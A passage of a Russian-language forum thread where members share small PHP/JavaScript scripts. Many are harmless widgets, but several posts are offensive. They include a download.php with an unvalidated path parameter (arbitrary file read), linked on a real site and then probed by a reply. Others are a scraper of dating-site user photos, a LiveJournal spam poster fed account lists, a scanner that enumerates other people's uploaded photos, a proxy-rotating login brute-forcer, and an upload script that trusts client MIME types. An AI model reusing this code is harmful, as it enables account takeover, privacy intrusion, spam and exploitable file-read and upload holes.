Полезные скрипты

Discussion in 'PHP' started by SMiX, 2 Nov 2006.

  1. GAiN

    GAiN Elder - Старейшина

    Joined:
    2 Apr 2011
    Messages:
    2,550
    Likes Received:
    172
    Reputations:
    99
    Отображение строки UserAgent:
    PHP:
    <script language="javascript">
    <!-- var 
    where document.referrer 
    var name navigator.appName 
    var vers navigator.appVersion
     document
    .write(" <FONT COLOR=blue><b><BR>Браузер:</FONT></b> "+name+" <FONT COLOR=green>"+vers+"<BR></FONT></FONT>")// --> 
    </script>

    отображает станицу с который вы пришли на эту:
    PHP:
    <script language="javascript"><!-- 
    var 
    where document.referrer 
    var name navigator.appName 
    var vers navigator.appVersion
     document
    .write("<FONT COLOR=6600CC><FONT SIZE=2><b>предыдущая страница:</FONT></b></FONT><FONT COLOR=003366><FONT SIZE=1><BR>"+where+"</FONT>"// --> 
    </script>
     
  2. GAiN

    GAiN Elder - Старейшина

    Joined:
    2 Apr 2011
    Messages:
    2,550
    Likes Received:
    172
    Reputations:
    99
    скрипт Internet Explorer - устаревший браузер

    скрипт - выводящий окошко в осле (Internet Explorer) о том что он устарел и пора его сменить на другой браузер:

    PHP:
    <!--[if IE]>
      <
    div style='border: 1px solid #F7941D; background: #FEEFDA; text-align: center; clear: both; height: 90px; position: relative;top: -695px;'>
        <
    div style='position: absolute; right: 3px; top: 3px; font-family: courier new; font-weight: bold;'><a href='#' onclick='javascript:this.parentNode.parentNode.style.display="none"; return false;'><img src='http://sitename.ru/img/browser/ie6nomore-cornerx.jpg' style='border: none;' alt='Скрыть уведомление'/></a></div>
        <
    div style='width: 640px; margin: 0 auto; text-align: left; padding: 0; overflow: hidden; color: black;'>
          <
    div style='width: 75px; float: left;'><img src='http://sitename.ru/img/browser/ie6nomore-warning.jpg' alt='Warning!'/></div>
          <
    div style='width: 275px; float: left; font-family: Arial, sans-serif;'>
            <
    div style='font-size: 14px; font-weight: bold; margin-top: 12px;'>Вы используете устаревший браузер!</div>
            <
    div style='font-size: 12px; margin-top: 6px; line-height: 12px;'>Отображение страниц может быть не корректным.Для более удобной и безопасной работы с сайтомпожалуйстаобновите ваш браузер.<br /><b><a href'http://www.whatbrowser.org/ru/'>Что такое браузер?</a><br /><a href='http://getbrowsers.com/ru/why/'>Зачем его обновлять?</a></b></div>
          </
    div>
         &
    nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<strong>рекомендуемые браузеры:</strong>
          <
    div style='width: 75px; float: left;'><a href='http://www.mozilla-europe.org/ru/firefox/' target='_blank'><img src='http://sitename.ru/img/browser/mozila.png' style='border: none;' alt='Firefox'/></a><br>Firefox</div>
          <
    div style='width: 75px; float: left;'><a href='http://www.opera.com' target='_blank'><img src='http://sitename.ru/img/browser/opera.png' style='border: none;' alt='Opera'/></a><br>Opera</div>
          <
    div style='width: 73px; float: left;'><a href='http://www.apple.com/ru/safari/download/' target='_blank'><img src='http://sitename.ru/img/browser/safari.png' style='border: none;' alt='Safari'/></a><br>Safari</div>
          <
    div style='float: left;'><a href='http://www.google.com/chrome' target='_blank'><img src='http://sitename.ru/img/browser/chrome.png' style='border: none;' alt='Google Chrome'/></a><br>Chrome</div>
        </
    div>
      </
    div>
    <![endif]-->
    ссылки вида:
    http://sitename.ru/img/browser/safari.png можно заменить на ссылки с иконками браузеров
     
  3. zifanchuck

    zifanchuck Elder - Старейшина

    Joined:
    27 Oct 2008
    Messages:
    396
    Likes Received:
    154
    Reputations:
    3
    Функция для рандомизации текста

    Функция для рандомизации текста. Писал для одного своего скрипта.
    Входной параметр текст вида

    на выходе какой-то рандомный вариант. Например
    slovo2,slovo7
    или
    slovo2,slovo6
    или
    slovo5,slovo7
    ........

    PHP:
    <?php

    function random_text($text)
    {
    //(c) Zifanchuck

        
    while(preg_match_all("#\{([^\{\}]*)\}#",$text,$regs))
        {
             
    $min $regs[1][0];

             for(
    $i=0;$i<count($regs[1]);$i++)
             {
                 if(
    strlen($regs[1][$i])<strlen($min))
                 {
                     
    $min $regs[1][$i];
                 }
             }

            
    $temp explode("|",$min);
            
    $rand $temp[mt_rand(0,count($temp)-1)];

            
    $text preg_replace('#\{'.preg_quote($min).'\}#sUS',$rand,$text);
        }

    return 
    $text;
    }



    $text "{слоово1|slovo2|slove3|{slovp4|slovo5}},{slovo6|slovo7}";


    echo 
    random_text($text);
    ?>

    Вроде работает=)
     
    1 person likes this.
  4. GAiN

    GAiN Elder - Старейшина

    Joined:
    2 Apr 2011
    Messages:
    2,550
    Likes Received:
    172
    Reputations:
    99
    В закладки для всех браузеров

    содержимое скрипта:
    (на примере файла add.js)

    PHP:
    function add_favorite(a) { 
        
    title=document.title
        
    url=document.location
        try { 
            
    // Internet Explorer 
            
    window.external.AddFavorite(urltitle); 
        } 
        catch (
    e) { 
            try { 
                
    // Mozilla 
                
    window.sidebar.addPanel(titleurl""); 
            } 
            catch (
    e) { 
                
    // Opera 
                
    if (typeof(opera)=="object") { 
                    
    a.rel="sidebar"
                    
    a.title=title
                    
    a.url=url
                    return 
    true
                } 
                else { 
                
    // Unknown 
                
    alert('Нажмите Ctrl+D чтобы добавить страницу в закладки.'); 
                } 
            } 
        } 
        return 
    false
    }
    вывод скрипта на нужную страницу:
    PHP:
    <script type="text/javascript" src="http://sitename.ru/zakladka/add.js"></script>
    кнопка:
    PHP:
    <a href="http://site.ru" onclick="javascript: return add_favorite(this);" title="Добавить в закладки">В закладки</a>
     
  5. GAiN

    GAiN Elder - Старейшина

    Joined:
    2 Apr 2011
    Messages:
    2,550
    Likes Received:
    172
    Reputations:
    99
    скачка изображений без их открытия

    файл download.php
    PHP:
    <?php
    header
    ('Content-type: application/octet-stream');

    header("Content-Disposition: attachment; filename=".$_GET['url']);




    $x fread(fopen($_GET['url'], "rb"), filesize($_GET['url']));

    echo 
    $x;
    ?>
    и далее ссылка на скачку вида:
    http://www.trei-gmbh.ru/download.php?url=images/certification/permit/2014-04-22_razr_ptk_trei_vzrivzashchs.jpg
    желтым выделен путь к картинке
     
  6. crazy_script

    crazy_script New Member

    Joined:
    3 Feb 2011
    Messages:
    18
    Likes Received:
    2
    Reputations:
    -3
    Определение местоположения

    Может кому пригодится

    <!DOCTYPE html>
    <html>
    <body>
    <script language="javascript">
    if(navigator.geolocation) {
    navigator.geolocation.getCurrentPosition(
    function (position) {
    document.getElementById("latitude").innerHTML = positioin.coords.latitude;
    document.getElementById("longitude").innerHTML = positioin.coords.ongitude;
    }
    );
    }
    </script>
    <div id="coords">Широта: <span id="latitude">Unknown</span>
    <br />Долгота: <span id="longitude">Unknown</span><br />
    </div>
    </body>
    </html>



     
    #1066 crazy_script, 16 Jul 2011
    Last edited: 16 Jul 2011
  7. miako

    miako Member

    Joined:
    20 Jan 2010
    Messages:
    154
    Likes Received:
    13
    Reputations:
    5
    Надо уточнить что поддерживается не всеми браузерами.
     
  8. bjong

    bjong Elder - Старейшина

    Joined:
    26 Jul 2003
    Messages:
    41
    Likes Received:
    12
    Reputations:
    18
    Удобно да, http://www.trei-gmbh.ru/download.php?url=about.htm :D
     
  9. dpe_x

    dpe_x Elder - Старейшина

    Joined:
    8 Sep 2010
    Messages:
    155
    Likes Received:
    35
    Reputations:
    14
    грабер фото с мамбы

    закидываем ссылку с поиска мамбы,
    скрипт проматает пару страниц и сохранит фото среднего размера

    PHP:
     <?php
        
    //ссылка..
        
    $search_link 'http://mamba.ru/search.phtml?t=a&sz=s&ni=1&wp=1&ia=N&lf=F&af=18&at=21&s_c=0_0_0_0&s_tg=&wr=1';
        
    //
        
        
    set_time_limit(0);
        
    mkdir('img');    
        
    start_parse($search_link);
        
        function 
    start_parse($search_link
        {        
            
    preg_match_all("/<a href=\"(.*)\" class=\"new-pager-item\">\d*</" file_get_contents($search_link), $pages_array);
            foreach(
    $pages_array[1] as $link_on_page)
                
    get_user_page($link_on_page);
        }
        
        function 
    get_user_page($link_on_page
        {
            
    preg_match_all("/><img src=\"(.*=\d*)\" alt=\"\" \/><\/a><\/div>/" file_get_contents('http://mamba.ru/search.phtml'.$link_on_page), $image_array);
            foreach(
    $image_array[1] as $user_image
            {
                
    $good_image str_replace("small_face""medium"$user_image);
                
    save_image_to_file($good_image);
            }                
        }
        
        function 
    save_image_to_file($good_image
        {
            
    $rand rand(0500000);
            
    $fp fopen('./img/'.$rand.'.jpg''w');
            
    fwrite($fpfile_get_contents($good_image));
            
    fclose($fp);
            print 
    "save_img ".$rand.".jpg\n";
        }

     
     
  10. GAiN

    GAiN Elder - Старейшина

    Joined:
    2 Apr 2011
    Messages:
    2,550
    Likes Received:
    172
    Reputations:
    99
    скроллинг страница наверх javascript

    Прокрутка страницы снизу вверх
    PHP:
    <script language="JavaScript">
    <!--
    function 
    scrollit(){
    for (
    I=500I>=1I--){
    self.scroll(1,I)
    }
    }
    //-->
    </script>

    PHP:
    <form><input type="button" value="вверх" onClick="scrollit()"</form>
     
  11. SHiNiGaMi

    SHiNiGaMi Banned

    Joined:
    3 Jan 2010
    Messages:
    382
    Likes Received:
    55
    Reputations:
    15
    Постер сообщений в LiveJournal

    В файл accs.txt кладем аккаунты в формате:
    логин:пароль
    логин:пароль
    ...

    В файл data.txt кладем сообщения в формате
    тема1:текст1|тема2:текст2|тема3:текст3

    сообщения отправляются через интерфейс xmlrpc
    PHP:
    ##########
    #LiveJournal poster by SHiNiGaMi
    #icq 478866968
    ##########

    use IO::Socket;

    open(ACCS,"accs.txt");
    @accs = <ACCS>;
    close(ACCS);
    chomp @accs;

    open(DATA,"data.txt");
    @data = <DATA>;
    close(DATA);
    $data = join("",@data);
    @data = split(/\|/, $data);

    foreach $acc(@accs)
    {
        ($login,$pass) = split(/:/, $acc);
        
        foreach $send(@data)
        {
            ($title, $text) = split(/:/, $send);
            if(liveJournalPost($login,$pass,$title,$text))
            {
                print "message poster for ".$login."\n";
            }
            else
            {
                print "Something's wrong with socket/account\n";
            }
        }
    }

    sub liveJournalPost
    {
        @dates = localtime;
        $y = $dates[5]+1900;
        $m = $dates[4]+1; $m = '0'.$m;
        $d = $dates[3]; $d = '0'.$d;
        $h = $dates[2];
        $i = $dates[1];

        $xml_data = '<?xml version="1.0"?>
        <methodCall>
          <methodName>LJ.XMLRPC.postevent</methodName>
            <params>
              <param>
                <value>
                  <struct>
                    <member>
                      <name>username</name>
                      <value>
                        <string>'.$_[0].'</string>
                      </value>
                    </member>
                    <member>
                      <name>password</name>
                      <value>
                        <string>'.$_[1].'</string>
                      </value>
                        </member>
                    <member>
                <name>event</name>
                <value>
                  <string><![CDATA['.$_[3].']]></string>
                </value>
              </member>
              <member>
                <name>subject</name>
                <value>
                  <string>'.$_[2].'</string>
                </value>
              </member>
              <member>
                <name>lineendings</name>
                <value>
                  <string>pc</string>
                </value>
              </member>
              <member>
                <name>year</name>
                <value>
                  <int>'.$y.'</int>
                </value>
              </member>
              <member>
                <name>mon</name>
                <value>
                  <int>'.$m.'</int>
                </value>
              </member>
              <member>
                <name>day</name>
                <value>
                  <int>'.$d.'</int>
                </value>
              </member>
              <member>
                <name>hour</name>
                <value>
                  <int>'.$h.'</int>
                </value>
              </member>
              <member>
                <name>min</name>
                <value>
                  <int>'.$i.'</int>
                </value>
              </member>
            </struct>
          </value>
        </param>
      </params>
    </methodCall>';

        $header = join("\r\n" => "POST /interface/xmlrpc HTTP/1.0", 
                   "User-Agent: XMLRPC Client 1.0",
                   "Host: www.livejournal.com", 
                   "Connection: Close", 
                   "Content-Type: text/xml", 
                   "Content-Length:".length($xml_data),
                   "",
                   $xml_data);
        
        my $sock = IO::Socket::INET->new(PeerAddr => 'www.livejournal.com',
                                            PeerPort => 80,
                                            PeerProto => 'tcp',
                                            TimeOut => 10);
        
        if($sock)
        {
            print $sock $header;
            sysread($sock,$ans,99999);
            
            close $sock;
            
            if($ans =~ m#<methodResponse><fault><value><struct><member><name>faultString</name><value><string>(.*?)</string>#i)
            {
                warn $1;
                return false;
            }
            return true;
        }
        else
        {
            return false;
        }
    }
     
    #1071 SHiNiGaMi, 23 Jul 2011
    Last edited: 23 Jul 2011
  12. maximka77

    maximka77 New Member

    Joined:
    7 Apr 2010
    Messages:
    5
    Likes Received:
    0
    Reputations:
    0
    Оо..
     
  13. demko

    demko New Member

    Joined:
    19 Nov 2009
    Messages:
    13
    Likes Received:
    2
    Reputations:
    1
    crazy_script а данные по geo через браузер как я понял определяются, правильно?
     
  14. |qbz|

    |qbz| Banned

    Joined:
    25 Dec 2009
    Messages:
    385
    Likes Received:
    169
    Reputations:
    65
    Сканер хоста на залитые фотки, PHP, бесплатно

    Скрипт очень прост, но зачем писать кому-то еще раз, если это уже кем-то написано. Поэтому представляю:

    Вводим:

    - хост (место, где лежат фотки, например http://xxx.com/photos/)
    - маску фоток (как называются файлы, например если фотка DSC_012345.JPG, то маска будет DSC_{NUM}.JPG)
    - от (это начальный {NUM} для маски)
    - до (это конечный {NUM} для маски)
    - успешную шапочку (например, Content-Type: image/jpeg)

    Жмем и получаем за 1 секунду (1к фоток за 1сек, так как многопоточность + работа через заголовки) ответ:

    Код (требования - PHP, multicurl): http://pastebin.com/vTfUucMB

    П.С. пишите часто-используемые фотоаппаратами маски ниже, пока что я знаю:

     
    #1074 |qbz|, 11 Aug 2011
    Last edited: 11 Aug 2011
    4 people like this.
  15. -=Zhenek=-

    -=Zhenek=- Elder - Старейшина

    Joined:
    31 Dec 2007
    Messages:
    271
    Likes Received:
    77
    Reputations:
    1
    DSCF{NUM}.JPG
    DSCF_{NUM}.JPG
    IMGP{NUM}.JPG
    IMG_{NUM}.JPG
    CIMG{NUM}.JPG
    P{NUM}.JPG
    DSCN{NUM}.JPG

    Это я свои фотки глянул... У кажлого фотоаппарата скорее всего свой шаблон. есть и такого вида : x_454fgd4f.jpg
     
    #1075 -=Zhenek=-, 11 Aug 2011
    Last edited: 11 Aug 2011
  16. Vova93

    Vova93 Banned

    Joined:
    5 Jul 2011
    Messages:
    1
    Likes Received:
    6
    Reputations:
    10
    PHP:
     Удобный брут с поддержкой прокси[/b]

    [SIZE=2][COLOR=White]Вот написал небольшой, удобный брут на PHP :) 
    Плюсы и небольшие минусы брута:
    [+] Быстрая работа
    [+] Поддержка прокси, к тому же они хранятся в txt-файле
    [-] Нету граба прокси, но это не проблема - писать минут 5

    Сейчас я вам покажу пример брута по логину -
    Наш логин: Admin
    Форма для входа: http://сайт.ру/services/?login=тут_логин&password=тут_пароль

    PHP-Код:
    [code]
    <?php
    echo "Брут завершен - посмотреть сбрученные пароли можно <a href='/good.txt' class='country_link'>здесь</a>, а несбрученные вот <a href='/bad.txt' class='country_link'>здесь</a>. Design by Vova93";
    $handle fopen("slovar.txt""r"); //Файл с паролями
    $email="Admin"//Здесь указываем ник (кого брутим)
    while (!feof($handle))
    {
    $p preg_split('~[\r\n]~'file_get_contents('proxy.txt')); //файл с проксями
    $proxy $p[rand(0,sizeof($p)-1)];
    $pass fgets($handle1024);
    $url "http://сайт.ру/services/"//Форма для входа
    $post "login=$email&password=$pass";
    $cfile 'text.txt';
    $ch curl_init();
    curl_setopt($chCURLOPT_PROXY$proxy);
    curl_setopt($chCURLOPT_RETURNTRANSFER1);
    curl_setopt($chCURLOPT_URL$url);
    curl_setopt($chCURLOPT_HEADER0);
    curl_setopt($chCURLOPT_POSTFIELDS$post);
    curl_setopt($chCURLOPT_COOKIEJAR$cfile);
    curl_setopt($chCURLOPT_COOKIEFILE$cfile);
    curl_setopt($chCURLOPT_FOLLOWLOCATIONtrue);
    curl_setopt($chCURLOPT_POST1);
    $result curl_exec($ch);
    curl_close($ch);
    if (
    strstr($result'Приветствуем тебя')) //Текст, который присутствует после авторизации, и отсутствует на не авторизованной странице
    {
    $h=fopen("good.txt""a"); //Тут будут сбрученные пароли
    fwrite($h$email.";".$pass);
    fclose($h);
    }
    else
    {
    $h=fopen("bad.txt""a"); //Тут несбрученные пароли
    fwrite($h$email.";".$pass);
    fclose($h);
    }
    }
    ?>
    [/code]

    На этом все ;) Надеюсь плюсик заслужил :p 
    З.Ы. Если нужно написать дополнение к скрипту, например граб прокси или что-нибудь еще - пишем в эту тему - обязательно напишу :rolleyes: [/COLOR][/SIZE]
     
  17. astrologer

    astrologer Elder - Старейшина

    Joined:
    30 Aug 2007
    Messages:
    837
    Likes Received:
    267
    Reputations:
    59
    Code:
    wget http://example.com/photos/{IMG,DSC}_{000123..130}.JPG
    не?
     
  18. Nikitosavich

    Nikitosavich New Member

    Joined:
    14 Mar 2011
    Messages:
    12
    Likes Received:
    0
    Reputations:
    0
    Скрипт хостинга картинок бесплатно, хостинг картинок, бесплатно

    Написал себе хостинг картинок на PHP. (Спасибо Anthony Ryabov за авторизацию, а за js-споилер - krypt3r ;))
    Теперь поделюсь с вами, конечно бесплатно:
    PHP:
    <?php
    $url_do_papki 
    "http://site.domen/image-hosting/"//Ваша ссылка до папки со скриптом. Не забудьте поставить слеш ("/") в конце!
    $login="12345";    //Логин
    $pass=md5("12345");//Пароль
    $auth="1";       //Вкл/выкл авторизацию
    $dir_true_false is_dir('upload/');
    if (
    $dir_true_false=='')
    {
      
    mkdir("upload/"0777);
      
    header("Location: ".$_SERVER['PHP_SELF']);
    };
    if(isset(
    $_GET['img'])&&!empty($_GET['img']))
     {
     
    $images = array();
     
    $images[bg]='R0lGODdhKAAoAKEDAAAkCAArCgA4Df///ywAAAAAKAAoAAAC2oxvEsoBDl9rqNq0snocznyF3xZ5GhiKJ9lJa3qNZSfD8duan43Iubvj9XCzl0I1ESiXSoDACWVKjTIpMxq1Kl9ULfap3Y6q4a8zzB17wVkttWs1h2vqOBuMHsOl8vypKAcgODh4BwX442D4REi4mAj42FhohhhpNin4WHRpmBlo+SOZuZnTifVZOpMYmFppWse36Je0dzXrthN7+0WrQbbWm/u3u9Q3XFvchGuVtlLGPKWn/DjHdfORWCN04FO0LeSdA84tXkJuY05zzW0E6N6urvPX7q7NjlAAADs=';
     @
    ob_clean();
     
    header("Content-type: image/gif");
     echo 
    base64_decode($images[$_GET['img']]);
     exit();
    };
    if(isset(
    $_GET['style']))
     {
    echo 
    '
    input {
    Font-Family: fantasy;
    Font-size: 10px;
    color: white; Border-color: white;
    Border-style: solid;
    Border-width: 1px;
    BackGround-color: transparent;
    }
    #button {
    BackGround-color: black;
    }
    a {
    text-decoration: none;
    }
    a:link {
     border-bottom: 1px dotted white;
     color: #ffffff;
    }
    a:visited {
     border-bottom: 1px dotted white;
     color: #ffffff;
    }
    a:active {
     border-bottom: 1px dotted #ffe5b4;
     color: #ffe5b4;
    }'
    ;
    exit();
    };
    if (isset(
    $_GET['in']))
    {
    $nlogin=$_POST['login'];
    $npass=md5($_POST['pass']);
    if (
    $nlogin == $login and $npass == $pass)
    {
    setcookie('login',"$nlogin",time()+10000000000);
    setcookie('pass',"$npass",time()+10000000000);
    header("Location:" .$_SERVER['PHP_SELF']);
    }
    else {
    header("Location:" .$_SERVER['PHP_SELF']);}
    }
    if(
    $_COOKIE["login"] != "$loginor $_COOKIE["pass"] != "$pass"){

    if(
    $auth == "0"){setcookie("login""$login"time()+10000); setcookie("pass""$pass"time()+10000); echo "<script> document.location.replace('$SCRIPT_NAME'); </script>";}
    echo 
    "
    <head>
    <link rel='stylesheet' type='text/css' href='?style' />
    <meta http-equiv='content-type' content='text/html; charset=utf-8' />
    <title>Вход</title>
    <link type=text/css rel=StyleSheet href=?style>
    </head>
    <body background=?img=bg>
    <br><br><br><br>
    <center>
    <font color=white size=10 face=fantasy>
    <form method=post action=?in>
    <table style=text-align: left; width: 100px; border=0 cellpadding=2 cellspacing=2>
      <tbody>
        <tr>
          <td><font size='4' face='fantasy' color='white'>Логин:</font></td>
          <td><input name=login></td>
        </tr>
        <tr>
          <td><font size='4' face='fantasy' color='white'>Пароль:</font></td>
          <td><input name=pass type=password></td>
        </tr>
        <tr>
          <td></td>
          <td><input type=submit id=button value=Вход></td>
        </tr>
       </table>
      </tbody>
    </form>
    </font>
    </center>
    </body>"
    ;
    exit();
    }
    else
    {

    if(isset(
    $_GET['upload'])) {
    echo 
    '<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />';
    echo 
    '<link rel="stylesheet" type="text/css" href="?style" />';
    echo 
    '<body background="?img=bg">';
    echo 
    '<font size="4" face="fantasy" color="white">';
    $uploaddir "/home/a9526880/public_html/mini-host/upload";
         
    $arr = array('a','b','c','d','e','f',
                     
    'g','h','i','j','k','l',
                     
    'm','n','o','p','r','s',
                     
    't','u','v','x','y','z',
                     
    'A','B','C','D','E','F',
                     
    'G','H','I','J','K','L',
                     
    'M','N','O','P','R','S',
                     
    'T','U','V','X','Y','Z',
                     
    '1','2','3','4','5','6',
                     
    '7','8','9','0','-','_');
        
    $rand "";
        for(
    $i 0$i 30$i++)
        {
          
    $index rand(0count($arr) - 1);
          
    $rand .= $arr[$index];
        }
    $img_format;
    if (
    $_FILES['userfile']['type'] == 'image/jpeg') {
        
    $img_format'.jpg';
    };
    if (
    $_FILES['userfile']['type'] == 'image/png') {
        
    $img_format'.png';
    };
    if (
    $_FILES['userfile']['type'] == 'image/gif') {
        
    $img_format'.gif';
    };
    $rand_and_format$rand.$img_format;
    if ((
    $_FILES['userfile']['type'] == 'image/jpeg')|($_FILES['userfile']['type'] == 'image/png')|($_FILES['userfile']['type'] == 'image/gif')) {
    if (
    move_uploaded_file($_FILES['userfile']['tmp_name'], 'upload/' $rand_and_format)) {
     echo 
    "Картинка успешно загружена! :)<br/>";
     echo 
    '<title>'.$_FILES['userfile']['name'].'</title>';
     echo 
    "
    <table style=text-align: left; width: 100px; border=0 cellpadding=2 cellspacing=2>
     <tbody>
     <tr><td><h3><font size='4' face='fantasy' color='white'>Информация о изображении: </font></h3></td><td></td></tr>
     <tr><td><b><font size='4' face='fantasy' color='white'>Оригинальное имя:</td><td><font size='4' face='fantasy' color='white'>"
    .$_FILES['userfile']['name']."</font></b></td></font></tr>
     <tr><td><b><font size='4' face='fantasy' color='white'>Mime-тип:</td><td><font size='4' face='fantasy' color='white'>"
    .$_FILES['userfile']['type']."</font></b></td></font></tr>
     <tr><td><b><font size='4' face='fantasy' color='white'>Вес картинки в байтах:</td><td><font size='4' face='fantasy' color='white'>"
    .$_FILES['userfile']['size']."</font></b></td></font></tr>
     <tr><td><b><font size='4' face='fantasy' color='white'>Ссылка на картинку:</td><td><font size='4' face='fantasy' color='white'><input type=text size=120 value='"
    .$url_do_papki."upload/".$rand_and_format."'></font></b></td></font></tr>
     <tr><td><b><font size='4' face='fantasy' color='white'>Ссылка на картинку BB-code:</td><td><font size='4' face='fantasy' color='white'><input type=text size=120 value='[img]"
    .$url_do_papki."upload/".$rand_and_format."[/img]'></font></b></td></font></tr>
     <tr><td><b><font size='4' face='fantasy' color='white'>Ссылка на картинку HTML:</td><td><font size='4' face='fantasy' color='white'><input type=text size=120 value='<img src="
    .$url_do_papki."upload/".$rand_and_format.">'></font></b></td></font></tr>
     </tbody>
    </table>
    "
    ;
     echo 
    '<br/><br/>';
    } else {
     echo 
    '<center><font color=white size="8">Ошибка! :(<br/>А загружали ли вы файл вообще? ;)</font><br/><a href="'.$_SERVER['PHP_SELF'].'"><input type=button id=button value=Назад></a></center>';
     echo 
    '<title>Ошибка :(</title>';
    }
     echo 
    '<a href='.$_SERVER['PHP_SELF'].'><input type=button id=button value=Назад></a><br><br>';


     echo 
    '<style type="text/css">
        #invdiv {
          display: none;
        }
      </style>
      <script type="text/javascript">
        vis = false;
        function inputclk() {
          var inp = document.getElementById ("inputid");
          var div = document.getElementById ("invdiv");
          if (vis) {
            div.style.display = "none";
            inp.value = "Hidden";
            vis = false;
          } else {
            div.style.display = "block";
            inp.value = "Visible";
            vis = true;
          }
        }
      </script>'
    ;


     echo 
    '
    <br/>
    <center><input type="button" id="button" value="Показать картинку" readonly="readonly" onclick="inputclk()" /><br />
    <div id="invdiv">
     <br/>
     <img src="upload/'
    .$rand_and_format.'" border=1>
    </div></center>
    '
    ;
     echo 
    '<br/>';
     echo 
    "</font>";
     echo 
    "</body>";
    } else {
        echo 
    '<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />';
        echo 
    '<link rel="stylesheet" type="text/css" href="?style" />';
        echo 
    '<body background="?img=bg">';
        echo 
    '<font size="6" face="fantasy" color="white">';
        echo 
    '<center><font size="6" face="fantasy" color="white">Это не картинка...</font></cenetr>';
        echo 
    '<center><a href="'.$_SERVER['PHP_SELF'].'"><input type=button id=button value=Назад></a></center>';
        echo 
    '</font>';
        echo 
    '</body>';
    }
    } else {
    if(isset(
    $_GET['exit']))
     {
     echo 
    "
    <meta http-equiv='content-type' content='text/html; charset=utf-8' />
    <title>Выход</title>
    <font color='white' size=2 face=fantasy>
    <body background='?img=bg'>
    <link type=text/css rel=StyleSheet href=?style><center><br><br><br><br>Вы уверены?<br><br><a href="
    .$_SERVER['PHP_SELF']."?delc_y><input type=button id=button value=Да></a>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<a href=".$_SERVER['PHP_SELF']."><input id=button type=button value=Нет></a></center>
    </font>"
    ;
    exit();
    } else {
    echo 
    '<meta http-equiv="content-type" content="text/html; charset=utf-8" />';
    echo 
    '<title>Site :)</title>';
    echo 
    '<link rel="stylesheet" type="text/css" href="?style" />';
    echo 
    '<body background="?img=bg">';
    echo 
    '<font color="white" size=2 face=fantasy>';
    echo 
    '<center>';
    if (
    $auth==1)
    {
      echo 
    '<a href=?exit>Выход</a>';
    }
    echo 
    '<br/><br/>Поддерживаются форматы PNG, JPG, GIF<br/><br/>';
    echo 
    '<form enctype="multipart/form-data" action="?upload" method="post">';
    echo 
    '<input type="hidden" name="MAX_FILE_SIZE" value="10485760">';
    echo 
    'Загрузить картинку (не более 10 мб): <input name="userfile" type="file">';
    echo 
    '<input type="submit" id=button value="Загрузить"><br/><br/><font size=1>Made By Nikitosavich</font>';
    echo 
    '</form>';
    echo 
    '</cenetr>';
    echo 
    '</font>';
    echo 
    '</body>';
    }
    }
    }
    if(isset(
    $_GET['delc_y']))
     {
     
    setcookie('login');
     
    setcookie('pass');
     
    header("Location: ".$_SERVER['PHP_SELF']);
    }
    ?>
    P.S. PHP изучаю от силы неделю, так что строго не судите.

    P.P.S. Нужно только поместить скрипт в папку на хостинге, указать url до папки со скриптом, указать логин и пароль для авторизации, включить/выключить авторизацию (на ваше усмотрение) и можно использовать :) (читайте первые комментарии в скрипте)

    P.P.P.S. Скрипт сам создаёт папку "upload", с правами доступа "0777".
     
    #1078 Nikitosavich, 15 Aug 2011
    Last edited: 17 Aug 2011
  19. skrutcher

    skrutcher New Member

    Joined:
    17 Jul 2011
    Messages:
    17
    Likes Received:
    1
    Reputations:
    0
    подмена Content-Type - profit.
     
  20. Nikitosavich

    Nikitosavich New Member

    Joined:
    14 Mar 2011
    Messages:
    12
    Likes Received:
    0
    Reputations:
    0
    skrutcher, не. Это просто проверяет какой mime-тип у файла и если mime-тип соответствует mime-типу изображений (то есть png, gif, jpg) тогда из папки Temp картинка переносится в папку upload.